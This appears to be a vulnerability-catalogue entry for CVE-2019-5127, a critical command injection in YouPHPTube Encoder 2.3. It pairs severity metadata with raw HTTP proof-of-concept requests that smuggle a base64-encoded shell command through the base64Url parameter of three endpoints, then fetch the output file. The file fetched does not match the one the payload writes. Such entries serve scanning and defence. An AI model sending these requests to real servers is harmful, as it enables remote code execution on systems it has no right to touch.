| Title | YouPHPTube Encoder 2.3 - Remote Command Injection |
|---|---|
| Author | pikpikcu |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized remote code execution, potentially compromising the entire system. |
| Remediation | Apply the latest patch or upgrade to a version that is not affected by this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93982 |
| CVE ID | CVE-2019-5127 |
| CWE ID | CWE-78 |
| Tags | cve cve2019 rce youphptube vkev vuln |
YouPHPTube Encoder 2.3 is susceptible to a command injection vulnerability which could allow an attacker to compromise the server. These exploitable unauthenticated command injections exist via the parameter base64Url in /objects/getImage.php.
GET /objects/getImage.php?base64Url=YGlkID4gdmhsY2EudHh0YA===&format=png HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
GET /objects/getImageMP4.php?base64Url=YGlkID4gdmhsY2EudHh0YA===&format=jpg HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
GET /objects/getSpiritsFromVideo.php?base64Url=YGlkID4gdmhsY2EudHh0YA===&format=jpg HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16
Connection: close
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
GET /objects/uMymEMqy.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_10_3 rv:2.0; so-DJ) AppleWebKit/533.15.6 (KHTML, like Gecko) Version/4.0.2 Safari/533.15.6
Connection: close
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-5127.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-5127.pcap
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